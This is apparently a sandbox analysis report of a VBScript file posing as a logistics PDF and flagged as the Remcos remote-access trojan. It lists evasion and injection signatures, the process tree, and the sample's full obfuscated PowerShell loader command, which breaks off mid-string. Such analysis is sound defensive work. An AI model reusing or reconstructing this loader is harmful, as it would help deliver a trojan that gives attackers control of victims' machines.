Edit tour

Windows Analysis Report
russelllogistics_PDF98933 laced 2023-06-06 .vbs

Overview

General Information

Sample Name:	russelllogistics_PDF98933 laced 2023-06-06 .vbs
Analysis ID:	883437
MD5:	6c90a7381ca09a4bc743c52b3c7002c1
SHA1:	ce1e1187d79569f4c9cd727c45a3a5078d472ec1
SHA256:	2f731b49ec238ced82fa47facef64396768b53dca41f0b8e245bb0f0f7e2b700
Infos:

Detection

Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

VBScript performs obfuscated calls to suspicious functions

Yara detected Remcos RAT

Sigma detected: Remcos

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Tries to detect Any.run

Wscript starts Powershell (via cmd or directly)

Very long command line found

Obfuscated command line found

C2 URLs / IPs found in malware configuration

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64native

wscript.exe (PID: 9996 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\russelllogistics_PDF98933 laced 2023-06-06 .vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

cmd.exe (PID: 10680 cmdline: C:\Windows\system32\cmd.exe /c dir MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 10764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7860 cmdline: cmd /c dir&echo ###RSHELL.EXE### MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 10952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 1604 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Loftma = """ FAuJn cPtGi oEnh k oUnStbabkHt aCn n 1P1L M{ B P b p a r a m (C[BSHtTrNiEnAg ] `$ SDo oSn y s )G;S K`$ C hCiSrBoJm a P=K M'M'A; WUr iBtSe -aHPo sFtG B`$ C hDiKrUoDmUaP; WPrSi tIe - H o s tB `$ Cbh iAr oFmCa ;J WPrAiKtAeU-MH oSsSt `$ CEh iSrSosmJa ;M R A G`$ Mbe sPo =T TNFe wU-AOIbBj eBcGt CbDyAtie [ ]O T(O`$NS o o n yCs . LOegn gStChm / d2S) ;I S UF o r ( `$UAPcrtYuCa tZeBdSpB= 0 ;M H`$AAKcFtSu a tRe dAp -GlAtU M`$ SnoSoRnPyFsS.BLSeCnBgStvh ;I `$CA c tMu artseRdMpB+ =L2D)L{f `$ GblKo s eHfHoSrNrPa R=B `$FS oPo nLyFsP.DSTu bKs t r iRn g (K`$TABcZt uFaCt eMd pC,G 2 )T;U O B l O C G B`$AM eSs o [S`$sA c tMuOa tEe dNpW/ 2C]O E=S U[ cRoOnMvHeUrPtT]H:k: T o BSyUt eS(M`$RGUlUoUsFeMf o r r at,C C1A6P)h;C U`$SS psa gThBeC = C(P`$RM ePsBo [ `$ AicAt uFaatGeKd pH/U2 ]U E-Nb x oBrG V2V0F2T)A;G R B`$HMAeAs o [ `$iA c t uBa tNe dSp /D2C]Z H=T b`$SSapKaSgPh eU;S D } Z[ SAt r i n g ]V[ISDySs t eMmL. T e xEt . E nLcSoWd iOnNg ]e: :SA SKCPI IH.LGOe tnSmt rTi n g (I`$pM e s oB)M;P} `$ I s nOaKdAiM0s= kEo nFtSaAkStMa n nk1C1S 'E9G9 BL3CBL9 B E A FsA 7DE 4BA ERA 6 AM6 'P; `$ ISsKnDaEdTiS1U=Hk oPnGt aEk tNa n nF1I1D 'I8S7DAF3 AO9UB 8DAS5 BH9SAS5FASCBBLECEA4 9PDmA 3TAH4FFE9HFU8LES4 9AFAAB4MB 9 APB AVCuAiFu8 4 ACB BOEFAG3RBOCPAFF 8 7 ACFTB EUAB2 AT5TAHE BS9 'F;I`$BIFsPn a dMi 2 =TkPo nAt aekBtRaLnRnK1P1T 'U8FDFABF BLE 9NA B 8 AA5 A 9P8SB ABEBA E B 8 A FCBB9 B 9V' ;D`$ IMsBnFa dHi 3S= k oCnUt aUkCtAa nEnP1 1 p'K9 9UBP3 B 9 BCEMAAF AU7 E 4F9 8OBSFSAK4DBTEGA 3NAL7 A FaET4 8 3SA 4FB ENACFABF8 A 5 B AR9 9 ACFPBM8IBBC Ai3SA 9KA FLBF9NE 4u8F2NABB AS4 A EUA 6AADFU9 8 AfFPA CA' ;S`$ IFs n a dPiI4K=OkToBnUtSa k tBaRnJn 1U1f K'MB 9 BIERB 8LA 3 AL4 AnD 'G;S`$UILs nAaGd iR5N=Kk o nlt aAkAtBa n n 1 1F S' 8SD A FCBUE 8H7 A 5 ACE BPFDA 6HABF 8S2TAAB AM4TAGE AF6 A FD'P;S`$ ITsPnNaSd iB6 = kSoFn t a kYtLaSnMn 1Q1T I' 9 8W9ZES9Q9 BRABA F Au9DA 3FA BPAK6N8S4FA BDA 7PA F EJ6FE A 8O2IA 3FAsEIA F 8 8 Be3B9 9 AM3 A DDEB6 E AL9 A B FSAU8TAD6 AC3TAD9N' ; `$CIWsCnlaKd iD7 =TkEoLn tSaDkFtJa n nR1 1C ' 9C8SB FKA 4NB EOAN3 AM7CA F E 6FEUA 8B7DAUBHAA4CA BOAODAAUFUAnEr' ; `$ I s nTa d il8E=Bk o n t aRk tFaCn nF1W1Z N'L9F8SARFSATCCA 6aA F AP9LBNEAASFSA EU8bETA FRAP6RA F A D A B BWEBACF 'S;R`$SI s nEa dTi 9R=WkQo nBt aMk tGaKn n 1 1 'B8 3ZA 4 8M7KAPFOAS7EAS5IBS8DBA3D8Y7SAM5 AMESB FMAD6 A FN' ;B`$BUDn dGeR0 =Fkoo nFtBaPk t a n nV1 1I 'P8 7 B 3H8SE ADFNA 6 ANFRAHDhAwB BCESAPF 9 EABU3SB AAA FS'D; `$PUpnAdmeF1O= kpoBnVtUa kStKaSn nS1S1 S'H8S9HA 6 A BFB 9SB 9FE 6GEDAB9 A B FMA 8RAS6 A 3AAA9DE 6 EsAM9 9MAvFNA B AI6 AEFDAMEAE 6AE A 8CBRAU4 B 9TAS3L8D9CAC6 ABBIBP9 B 9 EG6IE AR8SBRBPFDB E AT5I8 9 Aw6 AIBsBT9 B 9R'U; `$DU nkdCeR2K= kAo n tOackHtHa nRnV1A1F B'B8D3 A 4mB C A 5 AS1CA FF'f; `$ U nMd e 3 =HkIotn tSaCk tGain nL1M1C F' 9AAEB FNAQ8tAT6 AA3VAT9mE 6CEBA 8B2SAH3SABE APFF8K8 B 3N9 9GAG3wASD E 6 EbAt8 4AAHF BGD 9F9IAS6 AI5RBEE EI6NEEAA9 CAAS3 BK8HBEESBIFTAQB A 6D' ; `$RUNnRd eg4p= kSoAnTt a k t a n nC1 1 L'E9PCgAS3CBF8 BBESB FSA B AC6S8EB A 6TA 6BAP5CA 9P' ; `$BU n dOeS5A= kAoSn tMaOk tzaUnCnH1S1P 'IAP4 B EAAHE A 6 AS6U'S;T`$ UBn dMeS6H= k o nRtDa kSt aTnCn 1 1 D' 8 4VBSEO9LAIBE8 A 5 B E A FUAC9MBMEG9 CSAN3 B 8UBWEDB FtA BUAF6F8B7 ABF Am7sAR5sB 8 BD3V' ; `$HUOn d e 7 =Rk oSnPtua k t a nFnO1S1F 'S8U3E8 FN9M2 ' ; `$ UAn dPeZ8 = k oEnJt a kSt a npn 1 1 'H9H6h' ;P`$ SCl a dSr eAmK2 1P=Gk oMnBt a kVtRaUnTnK1 1T M'M9cFH9 9F8tFI9 8AFS9GF 8D'P; `$ PCeFd oUlDoBgBiVcK2A3S=CkLoFnGtAa kStGaUn nS1 1D U' 8T9PA BPAU6SA 6C9CDFAI3GAV4 A ENA 5 BDD 9DA BH8 A 5 AA9R8 BR'H; fKuSnScAtSi oSnF CfHkCp C{FPEaFr a m I( `$ U n s uB,S o`$PH eDnBvEePn dE)O W ; `$ GBoUl dCb r i cVkM0U n=Fk oSn tBaSkFtpaOnPn 1 1 b'UE Es8 6bB 9 AaF A 2OAMBPBa9SBSE AT3BA DSA 2SE AAFS7 E AFEU2D9U1B8UB BXA BPAS8IE AS5LAP7EA B AT3 Aa4F9 7AFu0EF 0 8 9ABSFSB 8BBT8rA FSAL4 BKES8UEFA 5VA 7CASBLAA3SAH4SE 4T8 DEAOF BNE 8TB BG9EBC9PADF As7CAa8CAI6OAe3KA FMBG9AEH2PEV3RE A BA6 E AS9ADKA 2 AkFSBL8DAIFVEF7S8 5 AB8aAT0 A FDA 9ABTE E APBA1PE AUETE 9O5RE 4 8 DPAA6FA 5 A 8 ALB AK6 8 BHB 9 B 9 APF Ae7FAH8BA 6mBP3 8k9 AHBSAT9SA 2 A FRETA E 7 8VBTAF4 A ESE AEETE 9 5 EV4R8A6LAC5 AN9DAsB BSE AS3IAE5 AO4 E 4 9 9dBYAMAU6 AS3 B ESEI2 E EK9 FMAI4 AFE A FPFD2 EH3G9 1SE 7SFSBC9E7NEW4P8 FTBMB BAFRALBBAG6 BV9 ET2OErEA8 3AB 9FAB4CA BFAKERAI3 FBATE 3sE ATBE7TE 3 E 4C8dDKAPF BSE 9SE B 3ZBRAAA F E 2GE EM8S3 B 9 AN4UAAB AME AS3 FTBREI3U'U;F.m(O`$ Urn d e 7E) `$ GFoSlMd bCrDiTcDkc0G; `$ G oNl dDb rTiBc k 5 C= Mk o nStIa kttBaTnMn 1 1V 'REAEB9 9RBSA AA3 A 6SAfEhA 3 A 4uABE B 9 ESATFU7SELAFE E 8 6FBU9BAdF AF2 A BRBP9AB ESAP3 A DSA 2 E 4 8 D A FHB EP8 7CAPFMBEEBA 2AAS5NALECEH2SE EB8I3GBR9FAT4PA BTAPESA 3 F 8nEI6PE AF9K1d9MEIBt3AB A ASFE9P1 9S7F9O7OE AE8SA EJ2ME E 8P3IBJ9 AB4EAHBPAVE A 3TF 9CED6CEtAWE EG8M3BB 9hA 4 AMBGAME Ae3 F E ES3BEA3O'S; .T( `$IUTn dDeh7F)B B`$AGSoElVdLbIrRiAcPk 5M;u`$ GNobl dFbIr iac k 1 O=C AkSoon t a k t a nPn 1B1 'GBU8 AVFGB EPBDFNBP8FA 4SEMA E E 9G9TB ACA 3BAS6CAAESAK3BA 4 AMEDBU9EEP4T8 3SA 4TBSCFA 5CA 1 ASFMEE2IE E AU4IBOF A 6PA 6CE 6 ETAR8 A E 2t9G1G9f9SB 3 B 9fB EPAFFPA 7 Ey4 9 8DB FNAf4 BFE A 3KAF7tATF ES4 8 3FAC4 B E A FDB 8DA 5DBIA 9A9 ATFSB 8OB CLA 3 AF9 ARFUB 9 ED4 8 2FAKBrAI4JANEPAD6SA FO9 8 AVF ASC 9P7TE 2B8B4NA FOBSDSE 7V8 5SAS8MA 0 A F A 9PBUE EDA 9 9NB 3PBU9 B E A FOA 7CEK4N9U8UBKF Aa4BBvE AB3EAH7TAIF EA4 8s3SAS4SBsE ASFSB 8EA 5 B AP9A9AARF B 8DBACTAE3 A 9WAcF BT9MET4I8 2SAHB As4PARE AP6SAUFO9D8SA FsA CsEC2 E 2S8A4SAAF BPD ES7B8 5 A 8LAP0 AVFPA 9 B ESECA 8 3SAm4MBcEU9PA B E B 8GEE3LES6 EUASE 2DE ER8 6 Ba9aAMF A 2FATBUBA9 B EDAA3BADDFAB2GES4 8 DIAUFbBTED8D7SARF BSEMAB2FAM5PA EkE 2TESEE8N3 BO9 A 4UAAB A E AD3UF FUET3SE 3 ER4I8 3KA 4PBBCKA 5 AP1 A F E 2uESEBA 4 B FTAD6JAS6 E 6BEUAK8 ASEu2 EHEB9FF A 4 BK9HBSF EM3KEL3 EP3AEE3PE 6 E AHE Et8 2TAnFUA 4 BEC AsF AL4 AJE E 3 E 3S' ;T. ( `$ UAnPdAeA7T)S b`$DG oGl dPbMr iRcSka1 ;E} fRuSn cDtOiAo nS VGRD TM C{ P aUrWaBmD ( [ PGaPr a mVeStTe rT( PAo s iOt iEoKnf h= 0P,R MPaLnHdDaPtRoTrAy a=S M`$MT rOuCe )S] E[ TUyLpJeH[S] ] U`$ HMgStPn iLn gSePr 8L3U,T[SP aKrDaOmKeEt e rD( P o sCi t i oDnH G= 1 )R] [RT y pPe ]H `$FSBuBp pso r tElVeT P=R G[ VLoTi dF]A)A;P`$ GFoKlRd b rGiAcKkF2 = wkAoSnSt a kGtfaKnNnP1 1E G' E EP8G2AB 3BA D B 8SA 5 BJELA 2 A F ESASFP7 EEA 9O1M8OB B A B AV8EE A 5 Ag7CAYBEA 3 AS4F9B7PFP0 F 0T8 9 BWFNB 8PBS8 A FSAB4 B E 8 E Ad5 A 7AA B A 3FA 4UET4s8SEAA F A C AB3 Ai4LAHFO8 E B 3OAO4 A B AA7CA 3SAC9 8 BFBF9KB 9 AKFRA 7 AS8BA 6 B 3UEV2 E 2U8N4YAAF BMDAEC7 8M5HA 8FAM0 ASF A 9MB E ENAK9 9MBS3 Br9 B E AEFHAI7 EG4a9P8 ALFsA C AP6WA F As9 B E A 3 AS5TAR4VES4 8 BmBM9PB 9FATFSA 7 AL8MA 6UBw3I8B4LA B AT7cAAFTE 2 ESE 8 3ABT9AA 4 APBPATEIAN3 FU2DED3 E 3 E 6 E A 9H1D9 9BBu3 B 9TB E A F AL7IEF4 9A8LA FKAKC A 6 ASFSAl9 B EDAA3SAT5 An4FE 4 8UF AF7 A 3 B E ER4 8 B BS9 B 9 ACFEA 7iAE8DAK6LBi3 8 8 BMF AA3 A 6UA E A F B 8 8HBOAU9DAK9 AFFHBK9TB 9 9 7 FT0aF 0 9 8BB FHAO4DEC3TEU4Q8sErAMFTAGC AT3sAR4BA FC8 E BR3 AF4DA B AM7SAi3MA 9 8D7 AS5DAOE BUFHAR6JA FSEs2 EvEP8H3EBU9FAS4BA B AKEPAK3iF 3 EC6 EaAFE E A CMAGBDAC6IBC9PABFFE 3TEU4t8PEAABFhAMC A 3EAF4BA F 9KEKB 3FBFA A FKE 2CETE 9PFUAa4HA E AWFPF A E 6SE A EGEm9 FAA 4 A E A F FDBCE 6CE A 9W1T9n9SBt3 Ba9sBAEtANFTA 7RE 4A8S7HBKF A 6FBAE AA3OA 9IATBGBK9UB EW8 E ABF AA6 AUF ASDNASB BOE A FB9 7JEA3H'D; . (D`$DU n dUe 7U) l`$aG o lDdVbNr iSctk 2H; `$ GCoDl d b rLiacUkA3 B= kUoFn t aRk t a nGnT1U1 A'SERES8t2ABV3DAAD BK8MA 5CB ESA 2 AOFAED4U8mEEAAFSA C AM3HAD4 A FC8P9CAL5 A 4CBR9FB E B 8 B FPAH9 BRETAM5LB 8 ET2 E EE8L3 BV9jA 4BA B ABEOAB3sF CMEQ6WELAW9K1S9 9 BA3AB 9 BPE A FSAS7CED4P9 8 A F AUCSA 6 AVFPAS9 B E AB3HAR5BAB4dE 4 8J9AAHB A 6IAS6DAL3 AC4HAHD 8C9CAa5UAF4 B C A F AG4FBIEEAC3 AK5 A 4HBB9S9 7VFN0 FP0D9a9oB ESAEBEA 4EAGE A B BJ8 ACE EC6BE AKE ET8 2SA DFBTE AA4BAG3SA 4SASDSASFMB 8 F 2 F 9 E 3TE 4M9 9 ASFCBTE 8 3 A 7 BBA A 6BALFSAH7 ARFTA 4AB E AMBJB E Ac3PA 5RAg4P8 CZAF6GAiBKAbDNBC9TEU2CESEC8I3 Bu9SA 4CASBOA E AM3 FUDBES3T'C;A. (S`$ UCnSdTeK7S)O `$BGHo lVd btrSiAcFkV3 ;C`$ GHo l d bLrAiDcBkL4K D=F Fk oSnHtIa kBt aMn nT1F1V ' ESEM8U2 BF3 APDIBS8NA 5UB ELA 2 AHFTEB4B8 EFAFF ATCFAO3SA 4 ASFC8D7LAgFtBEEHA 2 AD5FA E ED2EEFEP9FF AQ4 ASE AUFNFA8OE 6 E AAE EF9FFUAE4sA E ARFAF 9FEV6 EKA E ES9 9NB F B AkB ABA 5TBS8 BFEbAA6NA FME 6DE AGEfE 8O2CAPDMB ELA 4SA 3PAF4MALDdAfF Bi8 F 2FF 9UE 3 ET4F9p9AA FBBOE 8T3 AT7 BRA A 6 AmFIAC7 AAFSAP4TB ERA BIB EEA 3 AN5IA 4A8 CbAC6CA B A DCBS9CEM2gEHET8 3BB 9 AG4 ASBSA E AI3 F D EI3U'A;C.D(b`$KUUnMdHeH7 )P `$GG oKlDdPb rti c k 4 ; `$ GSotlAdHb r i c kl5M S=S UkLoAnBt aSkRt a nRn 1 1 'EBS8 AsFEBSEtBBF BG8 AP4IESAAEIEM8K2SB 3LAUDCB 8KAR5EBBEBAF2 ASFRED4 8I9ABT8 A F ADBHB ECADF 9eEfB 3PBUA ARFFEE2REu3P'T;R.f(N`$MULn dheB7 ) `$FG o l d b rSi c k 5S G F; }T`$RUUnTd e rSl =C Rk o n tSaMk tUaNnFnR1U1 R'dAE1 A F B 8YA 4 ARFcA 6 Fm9 FN8M'H; `$Bk oSnPtOaIk t aFnPnP0D3I = Nk o nKtSaCk t aDnBn 1 1N ' 8pDBAFFcBBEs8J9PAU5nAg4TBF9UAs5 AA6HAIFT9 D A 3GAI4 ADEBA 5 BUDK'F; `$ kgo nPt aAkFt aKnPnC0F0B=RkCo n t a kmt a n nV1 1B E'F9C9KA 2PAI5 BsD 9DDBAf3 AA4VASE A 5 BAD ' ; `$DkOoenDtEa k tNa nDn 0S1P P=a k o n tEaDket aCn nR1H1 S' E Et8FCNAaF AS6 A 6BE ASFR7SELAB9E1O9N9HBP3 BC9ABTE AuFDAG7BE 4A9 8ABIFkA 4SBTESAC3LAS7FA FGEU4A8 3BAU4SBsERALF BV8 AS5WB AT9 9 ASF B 8HB C A 3 AF9 AFF B 9SE 4E8T7KAMB BU8 B 9AAC2BA BFAP6s9 7 FB0 FD0 8GDCALFJB Ej8 EFA F AX6FAmF AiDSABB B ERAVF 8 CBAL5 Bt8 8BCbB FPAB4 AK9 B EZAI3 A 5OAV4t9 A A 5UAU3 AE4 B E ANFcBs8 EA2REU2EALC AG1TB A EGA E ER9W9 A 6 A BFA E B 8 AWFAA 7 FE8 FSB E A EfE A 1KAN5SAS4KBSEpA B A 1 BFE AGB Au4 AB4PFCAHFSAKE 3EEB6SEUA EN2U8PDF8AET9 EmELAU8 AOE 2P9 1U8K3 A 4BBEE 9 ABBEE BC8S9P7SEn6 EbAB9 1V9BFM8 3PAR4GB EKF 9SFe8T9K7ME 3TE A ES2 9 1G8K3 AS4KB ES9OA BBENB 8 9 7 E 3sE 3hE 3 ' ; . (A`$nU n dSeE7 )F K`$ kBo nBtKaTkAt aEn nB0M1 ;d`$ k oCn t aHkFtJa n nS0 2C D=S kSoDnVtCa kRt a nLnF1P1S C'PE EJ8SBABT8 AG9CAS2 AA3 BeE A 3PE A FP7PEMA 9 1O9U9mBK3lBn9BB E AOFDAS7FEp4P9N8 B F A 4 B E AM3bAM7 ATFSE 4 8 3RAS4KBKE ASFhBS8SA 5 BMA 9J9 AEF B 8 B CGA 3 AA9 A F BE9aEM4 8 7BAFB B 8 B 9LAG2FA BTAF6D9 7RF 0 FH0L8MD AFFHB En8sEMALFaAC6MAnFSACD AFBCBUErAVFD8 CFA 5OBS8G8DCGB F AV4EAF9 B EDAK3vAC5SA 4t9 A AR5tA 3 At4 BSESABF B 8FES2FES2 AWC A 1 BBAUEBADEVE 9HFBA 4 A E A F B 8CAC6SE ALEKEHA 1CAS5AAS4SBSE A BBAB1FBKE ASB A 4 A 4 FNAMF 9PEO3FE 6SEBAFEI2s8TD 8LE 9SEREMA 8DAGEo2T9 1A8b3EA 4 BSEL9fATB EMBB8 9 7 EE3SE AEEv2U9 1S8A3AA 4EBUEU9dAiBDE B 8 9 7RE 3YEB3 EG3 'o;R. (F`$FU nMdJeR7D) B`$Bk ognutSaBkItRaPn nS0D2 ;P`$UGPoRlUdSbvrDipcSkM7D W= HkfoInbtNa kNt aPnNnS1O1S 'uE EU8UE A B AOD BFASA FOAN4TAPDUA FSAC6 AP5LFC2 EmACFU7sE ANE EV8DBiBD8TA 9SAA2 A 3 BPESA 3CE 4l8M3SAT4WB CtAI5RAi1MA FPEK2PFLA EH3 'B; . (H`$ UFn dgeJ7t) p`$ G oPlDd bBrIiHcGk 7I;J`$PG oGlAdLb rKiVcbkr7V =S DkAo n t a kUtEaVn nH1A1 ' ESE 8 C ATF AT6MAU6 Eb4S8 3bAK4FBTCMAL5RAK1aAAF E 2HEHEC8 EBA B ASD B A ABF AE4rAEDHA FRA 6MA 5AF 2 Ej6BEBA FSA EC3P' ;B.i(p`$ UAnGd eO7F) S`$CG o lLdDbbrNiAcHk 7P; `$ G oUl d bBrDi cCk 6F =F Ak o n tSa kSt a n n 1 1 U'VE E ANEBAWFHA 7LAP3HAH4 ASF B 8 A BHAH6 ECAnFK7EEFA 9 1 9s9SBa3 B 9SB E A F AM7FE 4B9m8 BUFBAS4SB E A 3 A 7 A F EB4L8 3 A 4PBKEMA FFBL8OA 5SBDA 9N9 A FSB 8FBSCFAR3FA 9FA FPBf9 EE4F8 7KABBIBD8BBB9FA 2SATBJAP6M9H7SFT0MF 0E8FDSA FsB E 8 E AbFNA 6AAKFAA DGADB BAErASFT8VCKA 5 BW8 8RC BVF AP4MAC9BBWEEAp3TAM5sAS4r9 ASAb5PAE3AA 4dB ESA F BD8sE 2bEO2 AIC Aa1 BTAEEMAqE E 9TF A 4 ARE ATFSB 8 AS6BEBACEIE 9SFSAO4CA EEA F F EBEG3LE 6FESABE 2B8SD 8BEL9 E E Af8MABE 2O9 1E8P3BAA4SB ES9MAEBCE BD8 9 7PEE6 EUA 9 1R9fF 8 3PA 4OB E FO9bFS8P9R7 E 6 E A 9 1E9AF 8 3 AB4vB ETF 9 Fe8K9 7SES6 EGAB9M1 9EF 8T3oA 4HB EPFN9AF 8 9 7AE 3 E AKES2S9 1L8 3DAU4 BPE 9lA BKESBD8O9 7 E 3AE 3OE 3 ' ;U. ( `$SUKnGdIe 7N) O`$ GUoJl dsbPr iWclkS6P; `$VB uPlRmBe uUr t R= Cf k pI O`$AU n dSe 5O `$GU nFdBem6F;M`$ G oRl d bPr iScCkM7 b= Fk oRn t a k t aSnDnK1 1U ' ESE 9 9VB ERAHBPA 7SBRAPBkD AKF A FFA EDAEBOFb9 EMA F 7LERA EPEFAJESAIF AA7 AL3FA 4HA FDB 8SA B A 6 E 4F8 3FAT4CBVC AE5BAR1 A F Ea2S9A1L8 3FA 4DBSEM9MA B ESB 8 9F7 F 0GFH0 9c0MA F BS8AAI5EER6SEUA FPCVFpC F B Ea6SEdAFF AmB 2DFM9AF ATFKA F AREM6VESAAF A B 2SF E FSAPEF3H'S; . ( `$WUGn d eB7V) A`$ GEoNlDd bCr iUcBkc7I; `$sGAoGl dVb rPiUcdkO8 O=D BkAoDnRt aSkStMaOn n 1 1 'KEPE 9IA BM8NAMBWBBE BUEUA 3 E ACF 7 EUA EIEtACEFAbFPAS7 AS3LA 4OARFSB 8 ATB AI6 ET4P8A3VAM4kB C AK5 AP1 ABF EA2L9 1R8 3 A 4 B ET9SAFBRESBP8 9 7 F 0KFD0N9F0 A FCB 8PAH5ME 6 E APFL2BFLE F ACF ESFTBIFSD F 8BF 2UEH6HE A F ADB 2 F 9 FBA FGASFDAAE 6PEAAKFBAABE2FFUEWE 3 'B; . ( `$HUHnRdSe 7 ) `$ GOoTl dKb r idcCkP8E; `$TkBo n tfa kut aMn nJ0K1T =K kUo nTt aSkmtga nHn 1L1 ' Ap2CB EEBEE BNASB 9MF 0BER5tEV5 B B BTFFA 3 A 9 A 1 AS9AA 2UA F A 9 AE1SB 2SE 4AAGDNA 3UB EBA 2VBEFSAB8SE 4 A 3 A 5 EN5FB BEBFFaA 3PA 9 AF1 AF7 ADF EF5 9 ABAEBdA 4 Bk0TAEF B 8UB 9DBEERAS3IEA4 A 6pBJATAi1v' ;A`$ kzoBn tRaKk t a nKnH0 0 k=V kPo n tEaGkltSaJnSn 1 1U G'FE E 9 9 AMBMAD6FAFB EUA FR7CE A EB2 8V4 ALFGBSDFE 7 8O5OA 8MAA0AADFRAS9 BHEfEIA 8S4SA F B EBEU4 9DDSA F A 8B8 9 A 6FAX3 AaF A 4 BPE EO3NE 4B8pE A 5 B DKAt4UA 6UAB5AA BSARES9e9 BrECBV8CA 3uAS4LA DDE 2CE EBAA1EAU5 AR4 BPE APBSA 1LBcE AFBPAR4 Ah4 FBAHFVB ET3S'S; `$CG o l d b rRiUcDkR8 K=M GkBoMn t atkDtVaBnSnF1 1A 'CE EN9 9RBIETASB A 7EBTASB D ABF A FSAAE ALBEF 8 FS7 E E A FPA 4 B C FT0EA B BAAPB A A ECA BBB EBATB 'H;B. ( `$FU nRdEe 7 ) `$ GAo lTdSb r iCc k 8 ; `$HSOtNaAmBp wSe e d aF2 = `$ S tCaMmBp w e e dBa 2 +S' \BTPoMp fToPrOmAeB.iS uBb ' ;R`$MSCa l a = 'y'S;iiNf (R-Kn o te(CTSeisat -PPDa t hc `$CSStBaVmSp w eSeTd aT2 )U)B S{ w hUiNlMeO ( `$PSAaPl a -HeGqS 'C'a)S { .R(K`$MUKnBd e 7M) `$TkRoGn t aSk tSaRn nT0O0t; SHt aAr tS- SBlHe e p s5 ; }cS ertF-gCMo n t eMn ts `$FS tGaPmFp w e eJd ak2 N`$SS afl aU; }E`$SSRaSl aT =M GceNtS- C oFnPtSeCnHtS C`$mSBt a mTpPw e e d aS2M; `$ GaoTlPd bAr i cSkO9F T=F k oVnCt adk t aUn n 1 1R U'PESE 8 DfA 5EA 6 A EBAS8 B 8TA 3 AV9 A 1 E ASF 7CE AS9O1K9 9OB 3KB 9GBBE A FKAI7BEO4 8C9CAA5 A 4 B C A F BS8 B EH9P7TFG0SFT0 8 C Ba8wAB5 AA7 8 8dARBKB 9UAOFPFBC F E 9 9 B E B 8BA 3 AF4KA D E 2IEPES9 9DAMB A 6TASBSE 3U' ;T. (K`$OU nSdOeB7F) `$SGBonlPdUbFrAiWcUkG9N; `$ASMaZlIa 0J = k o n tSaNkIt a nDnN1 1D ' 9 1C9 9PBS3OBI9 B E ADFAAM7mE 4K9H8 B FMA 4 B EIAV3PA 7EARFaET4S8C3BA 4 BSELA FSB 8 AA5KBAA 9C9KA FLBT8UBSC AA3sAU9 ADFEB 9 ER4M8 7 ARB BF8MBF9rA 2 ACBFA 6E9 7 F 0 F 0 8P9 AN5xBIALBC3 EP2OE EO8SDPAP5 A 6 AEE AS8 BC8LAF3LAB9aAA1REY6 EpA FGACEu6 EFA E ADEPER9 9 B E AIB A 7 BRABB DVALFOA FTASEOAHBSF 9 EP6JE AUFSCBF CFFSB E 3L' ;N. (B`$ U n d eC7C)I S`$KSRanlFaN0 ; `$SsRtHa n dI=T`$ GSoSlsdMb rti cJkp. cMoRuPn t - 6 6 1S;U`$CSoaLl aI1 A=S Sk o n tTaGk tSaHn n 1K1B ' 9I1T9C9MBB3 B 9 B ECAAFSAM7 E 4 9f8 B FoAC4LB E A 3CA 7UADFTEP4 8 3 AR4 BpEcABFSBG8TAS5 B AS9 9IAGFLB 8GB COA 3EA 9CACF BS9 EB4 8A7CA B B 8GB 9TAM2FAABGAS6 9 7 FR0AFI0C8 9NA 5UBEAKBU3ME 2 EDEB8 D AT5TA 6FA E A 8TBP8FAF3 A 9TAE1BEH6FEgAVFSC FDCTFVB E 6 E A EMES9SAWB 8RA B BOEFBGE A 3TE 6 E AREGESBI9ABBEsACB A 4FASECEI3M' ; .U( `$TUCnMdCe 7O)T I`$ SFaPl aC1 ; `$CSTaHlMa 2G d= kRoHn t aFkMt a n n 1R1 P' EOEN9K0 A FaA 8CBM8 AK3AA 4 ArB E AsFZ7UEiA 9U1F9 9 B 3 BA9 BMESAFFDA 7BE 4O9A8FB FMAT4ABAEBA 3FAA7 A F ES4L8i3 AE4BB EkA FIBW8 AM5EBAA 9 9EAHFIBA8 B CBA 3LA 9 A F B 9SEa4 8 7SAbBKB 8TB 9 A 2SAEBOAB6B9 7 F 0DF 0D8UDRAHF B E 8HEAANFsA 6 AGF A DCAUBUBOEZA FF8WCmA 5SBN8P8 CSBTFHAS4 A 9BBkESAI3 AH5SA 4C9RAVA 5HAB3 A 4 BSEBA FCB 8FE 2 ER2YAPCOA 1SB ASETALETEa9B9RAK6 A BWASE BB8GAKFOAB7 F 8BFCB EAAVE E 9DAKA FKAMEUA 5AAF6 A 5 AAD AA3 AR9MFD8IFt9 EH3REC6 E AREf2N8TD 8cEC9SENE AR8sA EI2S9 1 8 3 A 4DBGES9MABBDEFBZ8J9E7REL6SE A 9M1O8s3MA 4 BHES9KAUBUE B 8G9G7REU6 EKA 9S1F8H3 AP4 B E 9TAGB EOBd8S9T7CES6SEFA 9D1K8S3eA 4RBSEH9 ACBAEGB 8 9M7KE 6HETAC9S1T8F3DAH4GBEE 9BAuB EGBS8S9I7IEI3SEBATEF2f9B1 8 3 AD4FB E 9GANB EVB 8u9A7TEG3 E 3 EF3F' ; .s(P`$ U n dMeP7 )P `$oSMa lRa 2 ; `$ SLaRl aK3 